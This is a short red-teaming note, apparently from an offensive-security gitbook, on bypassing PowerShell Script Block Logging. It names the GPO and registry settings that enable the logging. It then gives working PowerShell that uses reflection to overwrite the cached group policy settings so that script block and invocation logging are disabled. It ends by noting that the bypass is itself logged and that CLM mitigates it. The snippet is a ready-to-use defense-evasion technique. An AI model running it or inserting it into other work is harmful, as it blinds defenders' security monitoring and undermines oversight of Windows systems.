# Scriptblock Logging

We already talked about scriptblock logging [here](https://otter.gitbook.io/red-teaming/notes/amsi#failed-initialization-spoofing-and-scriptblock-autologging).

It's a feature introduced with PowerShellV5 that can be enabled via GPO (`Administrative Templates > Windows Components > Windows PowerShell > Turn on PowerShell Script Block Logging`) or registry key (`HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging - EnableScriptBlockLogging`).

If we look at the implementation we'll see that the logging settings are cached in a `cachedGroupPolicySettings` object (probably for performance reasons) and one of the bypass techniques for scriptblock logging takes advantage of this caching part specifically: by overwriting the cached settings stored in

* cachedGroupPolicySettings
* scriptBlock.HasLogged
* scriptBlock.ScriptBlockData.IsProductCode to indicate that logging is not enabled we're able to bypass it completely

```powershell
﻿$PSEventLog = Get-WinEvent -ListLog Microsoft-Windows-PowerShell/Operational

$GroupPolicySettingsField = [ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings', 'NonPublic,Static')
$GroupPolicySettings = $GroupPolicySettingsField.GetValue($null)

$BypassValues = New-Object 'System.Collections.Generic.Dictionary[string,System.Object]'
$BypassValues.Add('EnableScriptBlockLogging', '0')
$BypassValues.Add('EnableScriptBlockInvocationLogging', '0')

$GroupPolicySettings['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'] = $BypassValues
```

Of course the bypass code will be logged (at minimum) since most PowerShell-specific bypasses require [reflection](https://otter.gitbook.io/red-teaming/notes/powershell/powershell-reflection) which is mitigated by CLM enforcement.
